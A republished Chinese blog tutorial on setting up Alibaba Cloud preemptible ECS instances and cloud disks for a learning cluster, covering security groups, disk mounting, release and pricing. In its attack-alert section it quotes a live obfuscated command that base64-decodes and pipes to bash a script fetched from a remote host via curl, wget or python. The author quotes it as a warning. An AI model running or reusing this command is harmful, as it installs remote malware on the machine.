[阿里云] 10分钟带你玩转阿里云ECS和云盘 (大数据上云必备)

news2024/11/15 17:23:16

前言

由于准备做一些离线计算和实时计算的模拟, 发现某些教程内的阿里云还挺好用的, 在这里把相关的经验分享给大家.

简单的心路历程: 起先笔者搭建了一套本地集群. 但是后来发现, 因为没用网络IP的反穿, 本地的集群的网络访问非常不便. 其次, 集群的启停, 网络和磁盘管理都非常麻烦, 并且, 很多时候, 集群只在尝试的那一段时间才会使用. 为此, 试用了阿里云的抢占式集群方式, 发现这种的使用, 非常适合学习和研究.

当然, 如果你拥有稳定的硬件资源, 你也完全可以使用本地集群. 此处只是给出一套使用方案. [因为大多数我们的机器都是16G, 32G. 并且并没有稳定的网络环境. 对于大数据集群, 动辄8G3 16G3的集群需求, 总是感觉捉襟见肘.]


阿里云机器购买 & 相关配置构建

前置条件: 阿里云预留100R的资金. [阿里云只有超过100R才能购买抢占式的实例].
  • 进入ECS控制台 随后创建实例
    在这里插入图片描述

  • 随后, 这里我们选择抢占式的实例. 这样他就是按时间收费.
    在这里插入图片描述

  • 选择相关的磁盘配置和系统配置在这里插入图片描述

  • 选择 无确定使用时长 (此处如果选择1小时, 可能某些情况, 有被自动释放的风险.)

  • 选择相应的需要机器的台数. (此处笔者选择3台)

  • 选择相应的系统. 这里推荐 CentOS 7.xUbuntu系统 , (如果有其他系统指定的需要, 肯定不需要我在这里废话) (笔者一般使用CentOS 7.6系统)

  • 选择磁盘. (注意, 我们初次部署圆盘的时候, 一定要把此处的非随实例释放, 进行勾选.)

  • 选择相应的带宽. 我们此处选择按量收费. (因为是学习使用, 访问外网的几率比较小. 此处可以按照各自的安排选择.)
    在这里插入图片描述

  • 配置相关的系统资源
    在这里插入图片描述

  • 设置相应的密码

  • 设置相应的主机名称. 此处如果一次购买多个机器的话, 他是可以设置某些名称的构建方法的. 按照手册设置相应的名称即可. (笔者这边设置为 hadoop[001,3]. 希望3台主机的名称为hadoop001, hadoop002, hadoop003.) (此处如果不会设置, 也可以不设置. )

通过 name_prefix[begin_number,bits]name_suffix 格式可给各个 ECS 实例设置不同的实例名。例如:my_name[99,3]ecs ,若创建 2 台实例最终生成的名称分别为:my_name099ecs、my_name100ecs,begin_number 取值区间为 [0,999999],bits 取值区间为 [1,6],查看详情>

  • 点击同意协议在这里插入图片描述
    最终, 你就可以花费0.25的价格, 暂时租借使用3台 2H8G的云主机了. 如果你的集群需要更高的内存或者CPU, 可以在初次购买或者购买后进行升降配操作.

  • 随后, 我们就可以在控制台列表上, 看见我们本次购买的3台机器.
    在这里插入图片描述
    比较值得注意的是. 我们每次购买机器时, 内网地址和外网地址都可能会变化的. (为此, 我本地就不打码了, heihei)


ECS机器相关配置

网络安全组

值得注意的是, 阿里云的每个机器的网络, 它只开放一些默认的端口号. 其余的端口号是默认不开放的. 如果想要设置, 可以前往此处设置. (比如你安装了一个mysql数据库, 那么就需要设置3306端口)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 另外. 值得一提的是. 如果你只是临时访问, 完全可以通过百度查询先查询出当前网络的外网ip. 随后设置在此处. 这样可以非常好的避免相关的网络攻击.
    在这里插入图片描述
    比如我查询到我本机的ip为123.123.123.123, 我只想开放22端口或者3306端口给这个ip的相关用户访问, 可以参照上述的配置进行配置.
相关IP攻击 & 告警

在使用的过程中. 我收到了阿里云的这样的提示短信, 提示有恶性攻击.
在这里插入图片描述
在这里插入图片描述

/bin/bash -c if type curl >/dev/null; then echo Y3VybCAtZnNTTCBodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvYjJmNjI4L2guc2gK|base64 -d|bash|bash; fi;if type wget >/dev/null; then echo d2dldCAtcSAtTy0gIGh0dHA6Ly9raVxcc1xccy5hLWRcXG9nLnRcXG9ccC9iMmY2MjgvaC5zaAo=|base64 -d|bash|bash; fi;if type python >/dev/null;then echo cHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvaC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d|bash; fi

此处curl命令后, 乍一看是一串乱码. 其实他是通过base64加密的. 之前有了机器被拉去挖矿的经验, 此处个人感觉端口的设置还是小心为上.

云盘的挂载

在这里插入图片描述
如果你第一次选择了, 停机磁盘不进行释放. (这样设置也是为了我们能快速构建环境, 虽然会花费一些钱, 但是比较推荐这样购买3块云盘.)

  • 可以看到, 选择云盘的界面有3块已经挂载的云盘. 这3块就是我们本次申请ECS机器附带的.
  • 还可以看到. 有3块未挂载的云盘. 此处3块云盘是我们之前购买的. 是没有挂载上的.

我们可以先进入机器内部进行查看. 比如我登录hadoop001的机器.

[root@hadoop001 ~]# ls
[root@hadoop001 ~]# df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        40G  1.7G   36G   5% /
devtmpfs        3.9G     0  3.9G   0% /dev
tmpfs           3.9G     0  3.9G   0% /dev/shm
tmpfs           3.9G  424K  3.9G   1% /run
tmpfs           3.9G     0  3.9G   0% /sys/fs/cgroup
tmpfs           783M     0  783M   0% /run/user/0
  • 可以看到此处100G的云盘是没有挂载的. 此时我们选择挂载云盘
    在这里插入图片描述
  • 选择需要挂载的机器. (此外, 个人建议. )
    在这里插入图片描述
    在这里插入图片描述

···
[root@hadoop001 /]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/vdb1 99G 9.0G 86G 10% /
devtmpfs 3.9G 0 3.9G 0% /dev
tmpfs 3.9G 0 3.9G 0% /dev/shm
tmpfs 3.9G 444K 3.9G 1% /run
tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup
tmpfs 783M 0 783M 0% /run/user/0
[root@hadoop001 /]#
···

释放

在这里插入图片描述
在这里插入图片描述
比较值得注意的是. 释放的时候, 可以选择保留某些盘, 防止以后还需要进行重复操作.


设置本地host & 设置机器相关的免密

关于各个系统hosts的设置和SSH免密的配置可以见笔者的其他文章.


云盘 & 快照 & Ecs备份相关的收费计算

  • 云盘
    在这里插入图片描述
    我们使用的是高效云盘. 如果是40G3, 价格为 143=42R 如果是100G3, 价格为 353=105G.

关于云盘的使用. 我们主要需要注意的是1. 是否随实例释放. 2. 云盘的地址和区域. 此处会和挂载的服务器相关

https://www.aliyun.com/price/product?spm=a2c4g.11186623.0.0.23af62e4y2ebMe#/disk/detail/disk

  • 快照

阿里云的快照比较鸡肋. 只能对于某个云盘设置. 不过如果你的云盘很长时间都不需要使用, 可以将其打成快照, 随后释放云盘. 这样可以减少一定的开销. 阿里云的云盘还比较方便, 云盘会对内容进行压缩, 比如你云盘100G, 只使用了10G, 那么镜像的大小只有10G, 这会减少比较多的开销.

云盘的价格计算大致如下所示:

计费示例:假设杭州地域有100 GB快照,那么1小时0.016元,1天0.4元。0.43365=438.
公式:(0.12元/GB/月100 GB1月)➗30天➗24小时≈0.016元/小时。
https://help.aliyun.com/document_detail/56159.html?spm=5176.2020520101snapshot.usage.sizeRule.40b14df5aun6iw


Reference

[1]. [https://www.aliyun.com/] (https://www.aliyun.com/)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/130851.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

缓存原理的学习

在如今这个微服务分布式的大环境下,集群分布式部署 几乎 已经是我们每个人都熟知的了。 缓存也一样,对我们来说 ,如果只是一个单体应用 , 那只要 有本地缓存就足以了,但是倘若分布式部署了很多台机器上,那我们该如何缓…

软考-操作系统

【考点梳理】 【进程管理】 考点1、进程的状态(★★) 【考法分析】 本考点主要考查形式主要是根据图示判断相关状态位置或状态变迁条件。 【要点分析】 操作系统三态模型如下图所示:操作系统五态模型:【备考点拨】 掌握操作…

vue2.0和vue3.0创建项目

由于vue项目依赖于nodejs,所以需要先安装它。没有nodejs去官网下载。 npm install --global vue-cli 国内npm网站很慢,可以使用淘宝镜像 npm install --registryhttps://registry.npm.taobao.org vue2.0创建项目: 进入到自己需要创建项目…

SAP给微信推送消息

导语:最近领导下发指令,要求研究SAP与微信,企业微信,钉钉,邮件推送消息的平台,类似于采购订单审批之后,可以通过以上软件给用户发消息,我认领了微信的部分。 整个研究过程是很痛苦的…

华为静态NAT、动态NAT、PAT端口复用

一、网络环境及TOP 1.1 R1 相当于内网的一台PC, IP:192.168.1.10 网关为 192.168.1.254 [R1]ip route-static 0.0.0.0 0 192.168.1.254 # R1配置默认路由(网关) 1.2 R2为出口路由器,分别连接内网R1及外网R3 1&…

7. 整数反转

题目链接:力扣 解题思路: 题目要求中有一句话:假设环境不允许存储 64 位整数(有符号或无符号)。 也就是说不能使用long类型来判断是否int溢出,只能使用int类型进行运算 首先对于一个整数的翻转比较简单…

学openCV,不会数字图像系统可不行

来源:投稿 作者:小灰灰 编辑:学姐 前言 在光照的情况下,通过成像系统将大自然中的物体拍摄出来,成像系统手机自带有,这里面我们关心的是分辨率,成像系统显示的点数越多,阵列越大&am…

HCIA静态试验(12.30-31复习)

目标实现: 2、首先进行子网划分 基于192.168.1.0 24划分 ‘一共7个路由器需要7个网段还有7个主干网 192.168.1.0/24 ----用于骨干 192.168.1.32/27 ----R1环回 192.168.1.32/28 192.168.1.48/28 192.168.1.64/27 --- R2环回 192.168.1.64/28 192.168.1.80/28 …

Java之网络相关概念

寒假又开始更新java了,之后更新的是b站教程韩顺平老师的课,编译器我从idea换成eclipse(因为蓝桥杯只有eclipse,要先熟悉) 1.网络相关概念 网络通信 网络 ip地址 1.简单来说ip地址是每一台主机的标识 类似于我们现…

Vue 疑难扎症(一)有时候取不到Vue对象中值怎么办?对象值发生改变了但是页面没有刷新怎么办?

目录 有时候取不到对象中值怎么办? 问题截图 问题代码 问题分析 情况1 情况2 情况3 问题解决 对象值发生改变了但是页面没有刷新怎么办? 为什么? 常见错误写法: 怎么办? 有时候取不到对象中值怎么办&…

Node.js--》如何在Node.js中使用中间件,看这一篇就足够了

目录 中间件 中间件函数使用 中间件的作用 中间件分类 使用中间件的注意事项 编写接口 跨域问题及其解决方案 中间件 中间件特指业务流程的中间处理环节。当一个请求到达 Express 的服务器之后,可以连续调用多个中间件,从而对这次请求进行预处理…

【网络排查】用于接口不通,mysql,kafka等数据库介质连不上的排查

这篇文章记录生产实践中遇到的网络不通的例子 文章目录前言1. 网络协议1.1 应用层找到有问题的服务端 IP总结前言 接口调用不同了了怎么办? 就找接口服务提供方,肯定是提供方的问题的,跟调用方有啥关系~ kafka,mysql等数据库介质…

JAVAGUI编程初识之Swing

文章目录一 常用窗口1.1 JFrame框架窗口1.2 演示-JFRame,JLable的使用1.3 JDialog标签1.3.1 演示-JDialog标签二 标签组件2.1 标签2.2 图标2.2.1 ICon接口简介2.2.2 演示-用Icon接口创建图标2.3 图片图标2.3.1 演示-图片图标三 布局管理器3.1 绝对布局3.1.1 绝对布局简介3.1.2 …

年末再看指针。看来搞C/C++,如影随形的指针就得门清~~~

继上篇博文因内核页表引出的指针问题,后来又研究了一番,这次应该比较清楚了,这里再总结一下。 目录 0 前言 1 普通指针: 2 指针的指针: 3 普通指针参数: 4 指针的指针参数: 5 函数指针&a…

[Kettle] 认识Kettle

1.初识Kettle Kettle是ETL数据整合与处理工具,翻译成中文是"水壶"的意思,可理解为希望把各种数据放到一个壶里,像水一样以一种指定的格式流出,表达数据流的含义 ETL(Extract - Transform - Load)是将数据从数据来源端…

centos7部署rancher2.5

一、 什么是 Rancher Rancher 是为使用容器的公司打造的容器管理平台。Rancher 简化了使用 Kubernetes 的流程,开发者可以随处运行 Kubernetes(Run Kubernetes Everywhere),满足 IT 需求规范,赋能 DevOps 团队。 Ran…

单纯形法与对偶单纯形法的通俗理解

cigma<0,a>0 min cigma/(a) 决定出基变量 1对偶单纯形法 意思是看c就是所有货物的价值&#xff0c;去看一眼这些货物单价组合售卖的价值&#xff0c;这些价值肯定要都大于0&#xff0c;而且&#xff0c;组成这个c的系数也应该是都是正的&#xff0c; c最小证明对min&a…

港科夜闻|香港科大-越秀集团百万奖金国际创业大赛2022年度前8强20强项目评审结果公布...

关注并星标每周阅读港科夜闻建立新视野 开启新思维1、“香港科大-越秀集团”百万奖金国际创业大赛2022年度前8强&20强项目评审结果公布。2022年赛事中的各赛区前三名项目&#xff0c;共计23个项目自动入围年度总决赛&#xff0c;本轮评审在这23个项目中&#xff0c;评选出了…

Hudi学习02 -- Hudi核心概念

文章目录基本概念时间轴&#xff08;Timeline&#xff09;文件布局&#xff08;File Layout&#xff09;索引&#xff08;Index&#xff09;索引原理索引类型索引的选择策略表类型&#xff08;Table Types&#xff09;查询类型&#xff08;Query Types&#xff09;写操作&#…

Qt第五十二章:Qt Design Studio使用技巧。

一、运行项目和Debugging项目【快捷键&#xff1a;CtrR】 二、 预览单Qml文件 三、添加资源文件 &#xff08;使用资源&#xff1a;将资源拖动到Editor中的矩形中即可&#xff09; 四、多状态【正常状态、按下状态、划过状态、已点击状态...】 注意&#xff1a;多状态看起来像…